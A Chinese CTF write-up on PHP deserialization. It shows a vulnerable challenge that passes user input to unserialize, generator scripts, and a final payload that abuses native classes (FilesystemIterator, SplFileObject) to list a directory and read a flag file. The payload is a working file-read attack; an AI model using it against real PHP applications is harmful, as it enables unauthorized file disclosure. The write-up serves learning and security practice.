反序列化漏洞中的原生类利用

前言

ctf中代码审计反序列化的题目中，有时候给出的类没有可以利用的函数（类似eval）

这个时候该尝试调用php自带的原生类。

关于原生类有哪些，分别对应什么功能，可以看这个视频。

第二期培训：php原生类_哔哩哔哩_bilibili

例题

下面是一道反序列化的题目

<?php
error_reporting(0);

class catalogue{
    public $class;
    public $data;
    public function __construct() //构建类时调用。
    {
        $this->class = "error"; //用class属性调用下方自定义的error类
        $this->data = "hacker"; //将data的值赋值为hacker
    }
    public function __destruct()  //销毁类时调用（包括反序列化时）
    {
        echo new $this->class ($this->data); //用new方法新建一个类
    }
}
class error{
    public function __construct($OTL)  //构建类时会输出hello $OYL    (没啥用)
    {
        $this->OTL = $OTL;
        echo ("hello ".$this->OTL);
    }
}

if(isset($_GET['cata'])){
    unserialize($_GET['cata']);
}
else{
    highlight_file(__FILE__);
}
?>

这部分代码的意思就是

新建catalogue类的时候，会将data赋值为“hacker”，并且调用下方自定义的error类。

解题过程

这些都没有与服务器交互的内容，所以尝试调用 原生类

首先是  FilesystemIterator 类 读取文件夹下的文件

php代码

<?php
class catalogue{
    public $class = FilesystemIterator;
    public $data ="/ctf";
    public function __destruct()
    {
        echo new $this->class($this->data);
    }
}
$a =new catalogue;
echo serialize($a);
?>

让这个类销毁（执行反序列化）的时候，new一个名为FilesystemIterator的类，传入的数据是FilesystemIterator的参数，即路径（ /ctf 是给出的 hint）。

查到有 f1Ag文件 。

 接下来用 SplFileObject 类读取文件

php代码

<?php
class catalogue{
    public $class = SplFileObject;
    public $data ="/ctf/f1Ag";
    public function __destruct()
    {
        echo new $this->class($this->data);
    }
}
$a =new catalogue;
echo serialize($a);
?>

销毁catalogue时，创建 读取文件的 SplFileObject类 ，传入的data是 /cat/f1Ag

最终payload

?cata=O:9:"catalogue":2:{s:5:"class";s:13:"SplFileObject";s:4:"data";s:9:"/ctf/f1Ag";}